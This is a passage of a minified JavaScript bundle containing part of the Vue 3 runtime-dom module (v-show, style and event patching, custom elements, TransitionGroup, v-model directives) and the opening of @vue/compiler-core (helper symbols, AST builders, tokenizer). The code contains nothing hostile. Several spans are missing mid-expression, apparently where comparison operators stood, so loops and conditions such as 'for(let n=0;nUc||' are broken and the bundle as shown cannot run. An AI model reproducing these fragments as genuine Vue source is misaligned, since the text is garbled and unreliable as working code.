_r=Symbol("_vod"),gu=Symbol("_vsh"),uh={name:"show",beforeMount(e,{value:t},{transition:s}){e[_r]=e.style.display==="none"?"":e.style.display,s&&t?s.beforeEnter(e):ml(e,t)},mounted(e,{value:t},{transition:s}){s&&t&&s.enter(e)},updated(e,{value:t,oldValue:s},{transition:a}){!t!=!s&&(a?t?(a.beforeEnter(e),ml(e,!0),a.enter(e)):a.leave(e,()=>{ml(e,!1)}):ml(e,t))},beforeUnmount(e,{value:t}){ml(e,t)}};function ml(e,t){e.style.display=t?e[_r]:"none",e[gu]=!t}function E_(){uh.getSSRProps=({value:e})=>{if(!e)return{style:{display:"none"}}}}const ph=Symbol("");function A_(e){const t=Ds();if(!t)return;const s=t.ut=(n=e(t.proxy))=>{Array.from(document.querySelectorAll(`[data-v-owner="${t.uid}"]`)).forEach(i=>wr(i,n))},a=()=>{const n=e(t.proxy);t.ce?wr(t.ce,n):_d(t.subTree,n),s(n)};lu(()=>{ql(a)}),st(()=>{Gt(a,vs,{flush:"post"});const n=new MutationObserver(a);n.observe(t.subTree.el.parentNode,{childList:!0}),wt(()=>n.disconnect())})}function _d(e,t){if(e.shapeFlag&128){const s=e.suspense;e=s.activeBranch,s.pendingBranch&&!s.isHydrating&&s.effects.push(()=>{_d(s.activeBranch,t)})}for(;e.component;)e=e.component.subTree;if(e.shapeFlag&1&&e.el)wr(e.el,t);else if(e.type===rs)e.children.forEach(s=>_d(s,t));else if(e.type===Xn){let{el:s,anchor:a}=e;for(;s&&(wr(s,t),s!==a);)s=s.nextSibling}}function wr(e,t){if(e.nodeType===1){const s=e.style;let a="";for(const n in t){const i=My(t[n]);s.setProperty(`--${n}`,i),a+=`--${n}: ${i};`}s[ph]=a}}const R_=/(?:^|;)\s*display\s*:/;function I_(e,t,s){const a=e.style,n=Ze(s);let i=!1;if(s&&!n){if(t)if(Ze(t))for(const l of t.split(";")){const o=l.slice(0,l.indexOf(":")).trim();s[o]==null&&Rl(a,o,"")}else for(const l in t)s[l]==null&&Rl(a,l,"");for(const l in s){l==="display"&&(i=!0);const o=s[l];o!=null?L_(e,l,!Ze(t)&&t?t[l]:void 0,o)||Rl(a,l,o):Rl(a,l,"")}}else if(n){if(t!==s){const l=a[ph];l&&(s+=";"+l),a.cssText=s,i=R_.test(s)}}else t&&e.removeAttribute("style");_r in e&&(e[_r]=i?a.display:"",e[gu]&&(a.display="none"))}const zp=/\s*!important$/;function Rl(e,t,s){if(Me(s))s.forEach(a=>Rl(e,t,a));else if(s==null&&(s=""),t.startsWith("--"))e.setProperty(t,s);else{const a=O_(e,t);zp.test(s)?e.setProperty(Hs(a),s.replace(zp,""),"important"):e[a]=s}}const Hp=["Webkit","Moz","ms"],Bc={};function O_(e,t){const s=Bc[t];if(s)return s;let a=Tt(t);if(a!=="filter"&&a in e)return Bc[t]=a;a=ri(a);for(let n=0;nUc||(P_.then(()=>Uc=0),Uc=Date.now());function F_(e,t){const s=a=>{if(!a._vts)a._vts=Date.now();else if(a._vts<=s.attached)return;const n=s.value;if(Me(n)){const i=a.stopImmediatePropagation;a.stopImmediatePropagation=()=>{i.call(a),a._stopped=!0};const l=n.slice(),o=[a];for(let r=0;re.charCodeAt(0)===111&&e.charCodeAt(1)===110&&e.charCodeAt(2)>96&&e.charCodeAt(2)<123,fh=(e,t,s,a,n,i)=>{const l=n==="svg";t==="class"?T_(e,a,l):t==="style"?I_(e,s,a):li(t)?Br(t)||M_(e,t,s,a,i):(t[0]==="."?(t=t.slice(1),!0):t[0]==="^"?(t=t.slice(1),!1):B_(e,t,a,l))?(Vp(e,t,a),!e.tagName.includes("-")&&(t==="value"||t==="checked"||t==="selected")&&qp(e,t,a,l,i,t!=="value")):e._isVueCE&&(U_(e,t)||e._def.__asyncLoader&&(/[A-Z]/.test(t)||!Ze(a)))?Vp(e,Tt(t),a,i,t):(t==="true-value"?e._trueValue=a:t==="false-value"&&(e._falseValue=a),qp(e,t,a,l))};function B_(e,t,s,a){if(a)return!!(t==="innerHTML"||t==="textContent"||t in e&&Kp(t)&&Ve(s));if(t==="spellcheck"||t==="draggable"||t==="translate"||t==="autocorrect"||t==="sandbox"&&e.tagName==="IFRAME"||t==="form"||t==="list"&&e.tagName==="INPUT"||t==="type"&&e.tagName==="TEXTAREA")return!1;if(t==="width"||t==="height"){const n=e.tagName;if(n==="IMG"||n==="VIDEO"||n==="CANVAS"||n==="SOURCE")return!1}return Kp(t)&&Ze(s)?!1:t in e}function U_(e,t){const s=e._def.props;if(!s)return!1;const a=Tt(t);return Array.isArray(s)?s.some(n=>Tt(n)===a):Object.keys(s).some(n=>Tt(n)===a)}const Jp={};function mh(e,t,s){let a=fo(e,t);Ur(a)&&(a=lt({},a,t));class n extends ac{constructor(l){super(a,l,s)}}return n.def=a,n}const z_=((e,t)=>mh(e,t,Eh)),H_=typeof HTMLElement<"u"?HTMLElement:class{};class ac extends H_{constructor(t,s={},a=Cr){super(),this._def=t,this._props=s,this._createApp=a,this._isVueCE=!0,this._instance=null,this._app=null,this._nonce=this._def.nonce,this._connected=!1,this._resolved=!1,this._patching=!1,this._dirty=!1,this._numberProps=null,this._styleChildren=new WeakSet,this._styleAnchors=new WeakMap,this._ob=null,this.shadowRoot&&a!==Cr?this._root=this.shadowRoot:t.shadowRoot!==!1?(this.attachShadow(lt({},t.shadowRootOptions,{mode:"open"})),this._root=this.shadowRoot):this._root=this}connectedCallback(){if(!this.isConnected)return;!this.shadowRoot&&!this._resolved&&this._parseSlots(),this._connected=!0;let t=this;for(;t=t&&(t.assignedSlot||t.parentNode||t.host);)if(t instanceof ac){this._parent=t;break}this._instance||(this._resolved?this._mount(this._def):t&&t._pendingResolve?this._pendingResolve=t._pendingResolve.then(()=>{this._pendingResolve=void 0,this._resolveDef()}):this._resolveDef())}_setParent(t=this._parent){t&&(this._instance.parent=t._instance,this._inheritParentContext(t))}_inheritParentContext(t=this._parent){t&&this._app&&Object.setPrototypeOf(this._app._context.provides,t._instance.provides)}disconnectedCallback(){this._connected=!1,Ut(()=>{this._connected||(this._ob&&(this._ob.disconnect(),this._ob=null),this._app&&this._app.unmount(),this._instance&&(this._instance.ce=void 0),this._app=this._instance=null,this._teleportTargets&&(this._teleportTargets.clear(),this._teleportTargets=void 0))})}_processMutations(t){for(const s of t)this._setAttr(s.attributeName)}_resolveDef(){if(this._pendingResolve)return;for(let a=0;a{this._resolved=!0,this._pendingResolve=void 0;const{props:i,styles:l}=a;let o;if(i&&!Me(i))for(const r in i){const c=i[r];(c===Number||c&&c.type===Number)&&(r in this._props&&(this._props[r]=rr(this._props[r])),(o||(o=Object.create(null)))[Tt(r)]=!0)}this._numberProps=o,this._resolveProps(a),this.shadowRoot&&this._applyStyles(l),this._mount(a)},s=this._def.__asyncLoader;s?this._pendingResolve=s().then(a=>{a.configureApp=this._def.configureApp,t(this._def=a,!0)}):t(this._def)}_mount(t){this._app=this._createApp(t),this._inheritParentContext(),t.configureApp&&t.configureApp(this._app),this._app._ceVNode=this._createVNode(),this._app.mount(this._root);const s=this._instance&&this._instance.exposed;if(s)for(const a in s)bt(this,a)||Object.defineProperty(this,a,{get:()=>La(s[a])})}_resolveProps(t){const{props:s}=t,a=Me(s)?s:Object.keys(s||{});for(const n of Object.keys(this))n[0]!=="_"&&a.includes(n)&&this._setProp(n,this[n]);for(const n of a.map(Tt))Object.defineProperty(this,n,{get(){return this._getProp(n)},set(i){this._setProp(n,i,!0,!this._patching)}})}_setAttr(t){if(t.startsWith("data-v-"))return;const s=this.hasAttribute(t);let a=s?this.getAttribute(t):Jp;const n=Tt(t);s&&this._numberProps&&this._numberProps[n]&&(a=rr(a)),this._setProp(n,a,!1,!0)}_getProp(t){return this._props[t]}_setProp(t,s,a=!0,n=!1){if(s!==this._props[t]&&(this._dirty=!0,s===Jp?delete this._props[t]:(this._props[t]=s,t==="key"&&this._app&&(this._app._ceVNode.key=s)),n&&this._instance&&this._update(),a)){const i=this._ob;i&&(this._processMutations(i.takeRecords()),i.disconnect()),s===!0?this.setAttribute(Hs(t),""):typeof s=="string"||typeof s=="number"?this.setAttribute(Hs(t),s+""):s||this.removeAttribute(Hs(t)),i&&i.observe(this,{attributes:!0})}}_update(){const t=this._createVNode();this._app&&(t.appContext=this._app._context),Th(t,this._root)}_createVNode(){const t={};this.shadowRoot||(t.onVnodeMounted=t.onVnodeUpdated=this._renderSlots.bind(this));const s=Bt(this._def,lt(t,this._props));return this._instance||(s.ce=a=>{this._instance=a,a.ce=this,a.isCE=!0;const n=(i,l)=>{this.dispatchEvent(new CustomEvent(i,Ur(l[0])?lt({detail:l},l[0]):{detail:l}))};a.emit=(i,...l)=>{n(i,l),Hs(i)!==i&&n(Hs(i),l)},this._setParent()}),s}_applyStyles(t,s,a){if(!t)return;if(s){if(s===this._def||this._styleChildren.has(s))return;this._styleChildren.add(s)}const n=this._nonce,i=this.shadowRoot,l=a?this._getStyleAnchor(a)||this._getStyleAnchor(this._def):this._getRootStyleInsertionAnchor(i);let o=null;for(let r=t.length-1;r>=0;r--){const c=document.createElement("style");n&&c.setAttribute("nonce",n),c.textContent=t[r],i.insertBefore(c,o||l),o=c,r===0&&(a||this._styleAnchors.set(this._def,c),s&&this._styleAnchors.set(s,c))}}_getStyleAnchor(t){if(!t)return null;const s=this._styleAnchors.get(t);return s&&s.parentNode===this.shadowRoot?s:(s&&this._styleAnchors.delete(t),null)}_getRootStyleInsertionAnchor(t){for(let s=0;s(delete e.props.mode,e),G_=V_({name:"TransitionGroup",props:lt({},rh,{tag:String,moveClass:String}),setup(e,{slots:t}){const s=Ds(),a=au();let n,i;return Xr(()=>{if(!n.length)return;const l=e.moveClass||`${e.name||"v"}-move`;if(!Q_(n[0].el,s.vnode.el,l)){n=[];return}n.forEach(K_),n.forEach(J_);const o=n.filter(Z_);xd(s.vnode.el),o.forEach(r=>{const c=r.el,d=c.style;Ta(c,l),d.transform=d.webkitTransform=d.transitionDuration="";const u=c[kr]=p=>{p&&p.target!==c||(!p||p.propertyName.endsWith("transform"))&&(c.removeEventListener("transitionend",u),c[kr]=null,Cn(c,l))};c.addEventListener("transitionend",u)}),n=[]}),()=>{const l=ft(e),o=ch(l);let r=l.tag||rs;if(n=[],i)for(let c=0;c{o.split(/\s+/).forEach(r=>r&&a.classList.remove(r))}),s.split(/\s+/).forEach(o=>o&&a.classList.add(o)),a.style.display="none";const i=t.nodeType===1?t:t.parentNode;i.appendChild(a);const{hasTransform:l}=dh(a);return i.removeChild(a),l}const Nn=e=>{const t=e.props["onUpdate:modelValue"]||!1;return Me(t)?s=>Di(t,s):t};function Y_(e){e.target.composing=!0}function Qp(e){const t=e.target;t.composing&&(t.composing=!1,t.dispatchEvent(new Event("input")))}const ca=Symbol("_assign");function Yp(e,t,s){return t&&(e=e.trim()),s&&(e=jr(e)),e}const Sr={created(e,{modifiers:{lazy:t,trim:s,number:a}},n){e[ca]=Nn(n);const i=a||n.props&&n.props.type==="number";Qa(e,t?"change":"input",l=>{l.target.composing||e[ca](Yp(e.value,s,i))}),(s||i)&&Qa(e,"change",()=>{e.value=Yp(e.value,s,i)}),t||(Qa(e,"compositionstart",Y_),Qa(e,"compositionend",Qp),Qa(e,"change",Qp))},mounted(e,{value:t}){e.value=t??""},beforeUpdate(e,{value:t,oldValue:s,modifiers:{lazy:a,trim:n,number:i}},l){if(e[ca]=Nn(l),e.composing)return;const o=(i||e.type==="number")&&!/^0\d/.test(e.value)?jr(e.value):e.value,r=t??"";if(o===r)return;const c=e.getRootNode();(c instanceof Document||c instanceof ShadowRoot)&&c.activeElement===e&&e.type!=="range"&&(a&&t===s||n&&e.value.trim()===r)||(e.value=r)}},bu={deep:!0,created(e,t,s){e[ca]=Nn(s),Qa(e,"change",()=>{const a=e._modelValue,n=Gi(e),i=e.checked,l=e[ca];if(Me(a)){const o=Vr(a,n),r=o!==-1;if(i&&!r)l(a.concat(n));else if(!i&&r){const c=[...a];c.splice(o,1),l(c)}}else if(oi(a)){const o=new Set(a);i?o.add(n):o.delete(n),l(o)}else l(xh(e,i))})},mounted:Xp,beforeUpdate(e,t,s){e[ca]=Nn(s),Xp(e,t,s)}};function Xp(e,{value:t,oldValue:s},a){e._modelValue=t;let n;if(Me(t))n=Vr(t,a.props.value)>-1;else if(oi(t))n=t.has(a.props.value);else{if(t===s)return;n=nn(t,xh(e,!0))}e.checked!==n&&(e.checked=n)}const yu={created(e,{value:t},s){e.checked=nn(t,s.props.value),e[ca]=Nn(s),Qa(e,"change",()=>{e[ca](Gi(e))})},beforeUpdate(e,{value:t,oldValue:s},a){e[ca]=Nn(a),t!==s&&(e.checked=nn(t,a.props.value))}},yh={deep:!0,created(e,{value:t,modifiers:{number:s}},a){const n=oi(t);Qa(e,"change",()=>{const i=Array.prototype.filter.call(e.options,l=>l.selected).map(l=>s?jr(Gi(l)):Gi(l));e[ca](e.multiple?n?new Set(i):i:i[0]),e._assigning=!0,Ut(()=>{e._assigning=!1})}),e[ca]=Nn(a)},mounted(e,{value:t}){ef(e,t)},beforeUpdate(e,t,s){e[ca]=Nn(s)},updated(e,{value:t}){e._assigning||ef(e,t)}};function ef(e,t){const s=e.multiple,a=Me(t);if(!(s&&!a&&!oi(t))){for(let n=0,i=e.options.length;nString(c)===String(o)):l.selected=Vr(t,o)>-1}else l.selected=t.has(o);else if(nn(Gi(l),t)){e.selectedIndex!==n&&(e.selectedIndex=n);return}}!s&&e.selectedIndex!==-1&&(e.selectedIndex=-1)}}function Gi(e){return"_value"in e?e._value:e.value}function xh(e,t){const s=t?"_trueValue":"_falseValue";return s in e?e[s]:t}const _h={created(e,t,s){$o(e,t,s,null,"created")},mounted(e,t,s){$o(e,t,s,null,"mounted")},beforeUpdate(e,t,s,a){$o(e,t,s,a,"beforeUpdate")},updated(e,t,s,a){$o(e,t,s,a,"updated")}};function wh(e,t){switch(e){case"SELECT":return yh;case"TEXTAREA":return Sr;default:switch(t){case"checkbox":return bu;case"radio":return yu;default:return Sr}}}function $o(e,t,s,a,n){const l=wh(e.tagName,s.props&&s.props.type)[n];l&&l(e,t,s,a)}function X_(){Sr.getSSRProps=({value:e})=>({value:e}),yu.getSSRProps=({value:e},t)=>{if(t.props&&nn(t.props.value,e))return{checked:!0}},bu.getSSRProps=({value:e},t)=>{if(Me(e)){if(t.props&&Vr(e,t.props.value)>-1)return{checked:!0}}else if(oi(e)){if(t.props&&e.has(t.props.value))return{checked:!0}}else if(e)return{checked:!0}},_h.getSSRProps=(e,t)=>{if(typeof t.type!="string")return;const s=wh(t.type.toUpperCase(),t.props&&t.props.type);if(s.getSSRProps)return s.getSSRProps(e,t)}}const ew=["ctrl","shift","alt","meta"],tw={stop:e=>e.stopPropagation(),prevent:e=>e.preventDefault(),self:e=>e.target!==e.currentTarget,ctrl:e=>!e.ctrlKey,shift:e=>!e.shiftKey,alt:e=>!e.altKey,meta:e=>!e.metaKey,left:e=>"button"in e&&e.button!==0,middle:e=>"button"in e&&e.button!==1,right:e=>"button"in e&&e.button!==2,exact:(e,t)=>ew.some(s=>e[`${s}Key`]&&!t.includes(s))},sw=(e,t)=>{if(!e)return e;const s=e._withMods||(e._withMods={}),a=t.join(".");return s[a]||(s[a]=((n,...i)=>{for(let l=0;l{const s=e._withKeys||(e._withKeys={}),a=t.join(".");return s[a]||(s[a]=(n=>{if(!("key"in n))return;const i=Hs(n.key);if(t.some(l=>l===i||aw[l]===i))return e(n)}))},kh=lt({patchProp:fh},lh);let Pl,tf=!1;function Sh(){return Pl||(Pl=$v(kh))}function Ch(){return Pl=tf?Pl:Fv(kh),tf=!0,Pl}const Th=((...e)=>{Sh().render(...e)}),iw=((...e)=>{Ch().hydrate(...e)}),Cr=((...e)=>{const t=Sh().createApp(...e),{mount:s}=t;return t.mount=a=>{const n=Rh(a);if(!n)return;const i=t._component;!Ve(i)&&!i.render&&!i.template&&(i.template=n.innerHTML),n.nodeType===1&&(n.textContent="");const l=s(n,!1,Ah(n));return n instanceof Element&&(n.removeAttribute("v-cloak"),n.setAttribute("data-v-app","")),l},t}),Eh=((...e)=>{const t=Ch().createApp(...e),{mount:s}=t;return t.mount=a=>{const n=Rh(a);if(n)return s(n,!0,Ah(n))},t});function Ah(e){if(e instanceof SVGElement)return"svg";if(typeof MathMLElement=="function"&&e instanceof MathMLElement)return"mathml"}function Rh(e){return Ze(e)?document.querySelector(e):e}let sf=!1;const lw=()=>{sf||(sf=!0,X_(),E_())},ow=Object.freeze(Object.defineProperty({__proto__:null,BaseTransition:mv,BaseTransitionPropsValidators:nu,Comment:Zt,DeprecationTypes:y_,EffectScope:Kd,ErrorCodes:wx,ErrorTypeStrings:p_,Fragment:rs,KeepAlive:t0,ReactiveEffect:zl,Static:Xn,Suspense:W0,Teleport:$x,Text:On,TrackOpTypes:vx,Transition:k_,TransitionGroup:W_,TriggerOpTypes:hx,VueElement:ac,assertNumber:_x,callWithAsyncErrorHandling:Ys,callWithErrorHandling:tl,camelize:Tt,capitalize:ri,cloneVNode:Ma,compatUtils:b_,computed:B,createApp:Cr,createBlock:br,createCommentVNode:Jv,createElementBlock:X0,createElementVNode:mu,createHydrationRenderer:Fv,createPropsRestProxy:k0,createRenderer:$v,createSSRApp:Eh,createSlots:r0,createStaticVNode:s_,createTextVNode:vu,createVNode:Bt,customRef:Ym,defineAsyncComponent:Xx,defineComponent:fo,defineCustomElement:mh,defineEmits:f0,defineExpose:m0,defineModel:g0,defineOptions:v0,defineProps:p0,defineSSRCustomElement:z_,defineSlots:h0,devtools:f_,effect:Fy,effectScope:Dy,getCurrentInstance:Ds,getCurrentScope:Mm,getCurrentWatcher:gx,getTransitionRawChildren:Qr,guardReactiveProps:Kv,h:qi,handleError:ci,hasInjectionContext:Ix,hydrate:iw,hydrateOnIdle:Wx,hydrateOnInteraction:Qx,hydrateOnMediaQuery:Zx,hydrateOnVisible:Jx,initCustomFormatter:c_,initDirectivesForSSR:lw,inject:ra,isMemoSame:ah,isProxy:uo,isReactive:tn,isReadonly:Na,isRef:Xt,isRuntimeOnly:l_,isShallow:qs,isVNode:cn,markRaw:Zm,mergeDefaults:_0,mergeModels:w0,mergeProps:Zv,nextTick:Ut,nodeOps:lh,normalizeClass:co,normalizeProps:wy,normalizeStyle:ro,onActivated:cs,onBeforeMount:gv,onBeforeUnmount:ec,onBeforeUpdate:lu,onDeactivated:es,onErrorCaptured:_v,onMounted:st,onRenderTracked:xv,onRenderTriggered:yv,onScopeDispose:Py,onServerPrefetch:bv,onUnmounted:wt,onUpdated:Xr,onWatcherCleanup:ev,openBlock:Jl,patchProp:fh,popScopeId:Ex,provide:Nl,proxyRefs:eu,pushScopeId:Tx,queuePostFlushCb:ql,reactive:Mn,readonly:dr,ref:f,registerRuntimeCompiler:eh,render:Th,renderList:o0,renderSlot:c0,resolveComponent:n0,resolveDirective:l0,resolveDynamicComponent:i0,resolveFilter:g_,resolveTransitionHooks:ji,setBlockTracking:Zl,setDevtoolsHook:m_,setTransitionHooks:rn,shallowReactive:Yd,shallowReadonly:ax,shallowRef:Xd,ssrContextKey:lv,ssrUtils:h_,stop:By,toDisplayString:Lm,toHandlerKey:Mi,toHandlers:d0,toRaw:ft,toRef:px,toRefs:cx,toValue:lx,transformVNodeArgs:e_,triggerRef:ix,unref:La,useAttrs:x0,useCssModule:q_,useCssVars:A_,useHost:vh,useId:Bx,useModel:L0,useSSRContext:ov,useShadowRoot:j_,useSlots:y0,useTemplateRef:Ux,useTransitionState:au,vModelCheckbox:bu,vModelDynamic:_h,vModelRadio:yu,vModelSelect:yh,vModelText:Sr,vShow:uh,version:nh,warn:u_,watch:Gt,watchEffect:Ox,watchPostEffect:Lx,watchSyncEffect:rv,withAsyncContext:S0,withCtx:su,withDefaults:b0,withDirectives:Rx,withKeys:nw,withMemo:d_,withModifiers:sw,withScopeId:Ax},Symbol.toStringTag,{value:"Module"}));/** -* @vue/compiler-core v3.5.38 -* (c) 2018-present Yuxi (Evan) You and Vue contributors -* @license MIT -**/const Yl=Symbol(""),$l=Symbol(""),xu=Symbol(""),Tr=Symbol(""),Ih=Symbol(""),ni=Symbol(""),Oh=Symbol(""),Lh=Symbol(""),_u=Symbol(""),wu=Symbol(""),ho=Symbol(""),ku=Symbol(""),Nh=Symbol(""),Su=Symbol(""),Cu=Symbol(""),Tu=Symbol(""),Eu=Symbol(""),Au=Symbol(""),Ru=Symbol(""),Mh=Symbol(""),Dh=Symbol(""),nc=Symbol(""),Er=Symbol(""),Iu=Symbol(""),Ou=Symbol(""),Xl=Symbol(""),go=Symbol(""),Lu=Symbol(""),wd=Symbol(""),rw=Symbol(""),kd=Symbol(""),Ar=Symbol(""),cw=Symbol(""),dw=Symbol(""),Nu=Symbol(""),uw=Symbol(""),pw=Symbol(""),Mu=Symbol(""),Ph=Symbol(""),Wi={[Yl]:"Fragment",[$l]:"Teleport",[xu]:"Suspense",[Tr]:"KeepAlive",[Ih]:"BaseTransition",[ni]:"openBlock",[Oh]:"createBlock",[Lh]:"createElementBlock",[_u]:"createVNode",[wu]:"createElementVNode",[ho]:"createCommentVNode",[ku]:"createTextVNode",[Nh]:"createStaticVNode",[Su]:"resolveComponent",[Cu]:"resolveDynamicComponent",[Tu]:"resolveDirective",[Eu]:"resolveFilter",[Au]:"withDirectives",[Ru]:"renderList",[Mh]:"renderSlot",[Dh]:"createSlots",[nc]:"toDisplayString",[Er]:"mergeProps",[Iu]:"normalizeClass",[Ou]:"normalizeStyle",[Xl]:"normalizeProps",[go]:"guardReactiveProps",[Lu]:"toHandlers",[wd]:"camelize",[rw]:"capitalize",[kd]:"toHandlerKey",[Ar]:"setBlockTracking",[cw]:"pushScopeId",[dw]:"popScopeId",[Nu]:"withCtx",[uw]:"unref",[pw]:"isRef",[Mu]:"withMemo",[Ph]:"isMemoSame"};function fw(e){Object.getOwnPropertySymbols(e).forEach(t=>{Wi[t]=e[t]})}const ea={start:{line:1,column:1,offset:0},end:{line:1,column:1,offset:0},source:""};function mw(e,t=""){return{type:0,source:t,children:e,helpers:new Set,components:[],directives:[],hoists:[],imports:[],cached:[],temps:0,codegenNode:void 0,loc:ea}}function eo(e,t,s,a,n,i,l,o=!1,r=!1,c=!1,d=ea){return e&&(o?(e.helper(ni),e.helper(Zi(e.inSSR,c))):e.helper(Ji(e.inSSR,c)),l&&e.helper(Au)),{type:13,tag:t,props:s,children:a,patchFlag:n,dynamicProps:i,directives:l,isBlock:o,disableTracking:r,isComponent:c,loc:d}}function ei(e,t=ea){return{type:17,loc:t,elements:e}}function oa(e,t=ea){return{type:15,loc:t,properties:e}}function Yt(e,t){return{type:16,loc:ea,key:Ze(e)?tt(e,!0):e,value:t}}function tt(e,t=!1,s=ea,a=0){return{type:4,loc:s,content:e,isStatic:t,constType:t?3:a}}function va(e,t=ea){return{type:8,loc:t,children:e}}function ns(e,t=[],s=ea){return{type:14,loc:s,callee:e,arguments:t}}function Ki(e,t=void 0,s=!1,a=!1,n=ea){return{type:18,params:e,returns:t,newline:s,isSlot:a,loc:n}}function Sd(e,t,s,a=!0){return{type:19,test:e,consequent:t,alternate:s,newline:a,loc:ea}}function vw(e,t,s=!1,a=!1){return{type:20,index:e,value:t,needPauseTracking:s,inVOnce:a,needArraySpread:!1,loc:ea}}function hw(e){return{type:21,body:e,loc:ea}}function Ji(e,t){return e||t?_u:wu}function Zi(e,t){return e||t?Oh:Lh}function Du(e,{helper:t,removeHelper:s,inSSR:a}){e.isBlock||(e.isBlock=!0,s(Ji(a,e.isComponent)),t(ni),t(Zi(a,e.isComponent)))}const af=new Uint8Array([123,123]),nf=new Uint8Array([125,125]);function lf(e){return e>=97&&e<=122||e>=65&&e<=90}function Zs(e){return e===32||e===10||e===9||e===12||e===13}function wn(e){return e===47||e===62||Zs(e)}function Rr(e){const t=new Uint8Array(e.length);for(let s=0;s100){let l=-1,o=n;for(;l+1>>1;this.newlines[r]=0;l--)if(t>this.newlines[l]){i=l;break}return i>=0&&(s=i+2,a=t-this.newlines[i]),{column:a,line:s,offset:t}}peek(){return this.buffer.charCodeAt(this.index+1)}stateText(t){t===60?(this.index>this.sectionStart&&this.cbs.ontext(this.sectionStart,this.index),this.state=5,this.sectionStart=this.index):!this.inVPre&&t===this.delimiterOpen[0]&&(this.state=2,this.delimiterIndex=0,this.stateInterpolationOpen(t))}stateInterpolationOpen(t){if(t===this.delimiterOpen[this.delimiterIndex])if(this.delimiterIndex===this.delimiterOpen.length-1){const s=this.index+1-this.delimiterOpen.length;s>this.sectionStart&&this.cbs.ontext(this.sectionStart,s),this.state=3,this.sectionStart=s}else this.delimiterIndex++;else this.inRCDATA?(this.state=32,this.stateInRCDATA(t)):(this.state=1,this.stateText(t))}stateInterpolation(t){t===this.delimiterClose[0]&&(this.state=4,this.delimiterIndex=0,this.stateInterpolationClose(t))}stateInterpolationClose(t){t===this.delimiterClose[this.delimiterIndex]?this.delimiterIndex===this.delimiterClose.length-1?(this.cbs.oninterpolation(this.sectionStart,this.index+1),this.inRCDATA?this.state=32:this.state=1,this.sectionStart=this.index+1):this.delimiterIndex++:(this.state=3,this.stateInterpolation(t))}stateSpecialStartSequence(t){const s=this.sequenceIndex===this.currentSequence.length;if(!(s?wn(t):(t|32)===this.currentSequence[this.sequenceIndex]))this.inRCDATA=!1;else if(!s){this.sequenceIndex++;return}this.sequenceIndex=0,this.state=6,this.stateInTagName(t)}stateInRCDATA(t){if(this.sequenceIndex===this.currentSequence.length){if(t===62||Zs(t)){const s=this.index-this.currentSequence.length;if(this.sectionStart=t||(this.state===28?this.currentSequence===ys.CdataEnd?this.cbs.oncdata(this.sectionStart,t):this.cbs.oncomment(this.sectionStart,t):this.state===6||this.state===11||this.state===18||this.state===17||this.state===12||this.state===13||this.state===14||this.state===15||this.state===16||this.state===20||this.state===19||this.state===21||this.state===9||this.cbs.ontext(this.sectionStart,t))}emitCodePoint(t,s){}}function of(e,{compatConfig:t}){const s=t&&t[e];return e==="MODE"?s||3:s}function ti(e,t){const s=of("MODE",t),a=of(e,t);return s===3?a===!0:a!==!1}function to(e,t,s,...a){return ti(e,t)}function Pu(e){throw e}function $h(e){}function Mt(e,t,s,a){const n=`https://vuejs.org/error-reference/#compiler-${e}`,i=new SyntaxError(String(n));return i.code=e,i.loc=t,i}const js=e=>e.type===4&&e.isStatic;function Fh(e){switch(e){case"Teleport":case"teleport":return $l;case"Suspense":case"suspense":return xu;case"KeepAlive":case"keep-alive":return Tr;case"BaseTransition":case"base-transition":return Ih}}const bw=/^$|^\d|[^\$\w\xA0-\uFFFF]/,$u=e=>!bw.test(e),Bh=/[A-Za-z_$\xA0-\uFFFF]/,yw=/[\.\?\w$\xA0-\uFFFF]/,xw=/\s+[.[]\s*|\s*[.[]\s+/g,Uh=e=>e.type===4?e.content:e.loc.source,_w=e=>{const t=Uh(e).trim().replace(xw,o=>o.trim());let s=0,a=[],n=0,i=0,l=null;for(let o=0;o|^\s*(?:async\s+)?function(?:\s+[\w$]+)?\s*\(/,kw=e=>ww.test(Uh(e)),Sw=kw;function la(e,t,s=!1){for(let a=0;at.type===7&&t.name==="bind"&&(!t.arg||t.arg.type!==4||!t.arg.isStatic))}function zc(e){return e.type===5||e.type===2}function rf(e){return e.type===7&&e.name==="pre"}function Tw(e){return e.type===7&&e.name==="slot"}function Ir(e){return e.type===1&&e.tagType===3}function Or(e){return e.type===1&&e.tagType===2}const Ew=new Set([Xl,go]);function Hh(e,t=[]){if(e&&!Ze(e)&&e.type===14){const s=e.callee;if(!Ze(s)&&Ew.has(s))return Hh(e.arguments[0],t.concat(e))}return[e,t]}function Lr(e,t,s){let a,n=e.type===13?e.props:e.arguments[2],i=[],l;if(n&&!Ze(n)&&n.type===14){const o=Hh(n);n=o[0],i=o[1],l=i[i.length-1]}if(n==null||Ze(n))a=oa([t]);else if(n.type===14){const o=n.arguments[0];!Ze(o)&&o.type===15?cf(t,o)||o.properties.unshift(t):n.callee===Lu?a=ns(s.helper(Er),[oa([t]),n]):n.arguments.unshift(oa([t])),!a&&(a=n)}else n.type===15?(cf(t,n)||n.properties.unshift(t),a=n):(a=ns(s.helper(Er),[oa([t]),n]),l&&l.callee===go&&(l=i[i.length-2]));e.type===13?l?l.arguments[0]=a:e.props=a:l?l.arguments[0]=a:e.arguments[2]=a}function cf(e,t){let s=!1;if(e.key.type===4){const a=e.key.content;s=t.properties.some(n=>n.key.type===4&&n.key.content===a)}return s}function so(e,t){return`_${t}_${e.replace(/[^\w]/g,(s,a)=>s==="-"?"_":e.charCodeAt(a).toString())}`}function Aw(e){return e.type===14&&e.callee===Mu?e.arguments[1].returns:e}const Rw=/([\s\S]*?)\s+(?:in|of)\s+(\S[\s\S]*)/;function jh(e){for(let t=0;t0,isVoidTag:Ri,isPreTag:Ri,isIgnoreNewlineTag:Ri,isCustomElement:Ri,onError:Pu,onWarn:$h,comments:!1,prefixIdentifiers:!1};let vt=Vh,ao=null,an="",_s=null,dt=null,Fs="",Va=-1,Vn=-1,Bu=0,An=!1,Cd=null;const Nt=[],Vt=new gw(Nt,{onerr:Ha,ontext(e,t){Fo(ps(e,t),e,t)},ontextentity(e,t,s){Fo(e,t,s)},oninterpolation(e,t){if(An)return Fo(ps(e,t),e,t);let s=e+Vt.delimiterOpen.length,a=t-Vt.delimiterClose.length;for(;Zs(an.charCodeAt(s));)s++;for(;Zs(an.charCodeAt(a-1));)a--;let n=ps(s,a);n.includes("&")&&(n=vt.decodeEntities(n,!1)),Td({type:5,content:ar(n,!1,Jt(s,a)),loc:Jt(e,t)})},onopentagname(e,t){const s=ps(e,t);_s={type:1,tag:s,ns:vt.getNamespace(s,Nt[0],vt.ns),tagType:0,props:[],children:[],loc:Jt(e-1,t),codegenNode:void 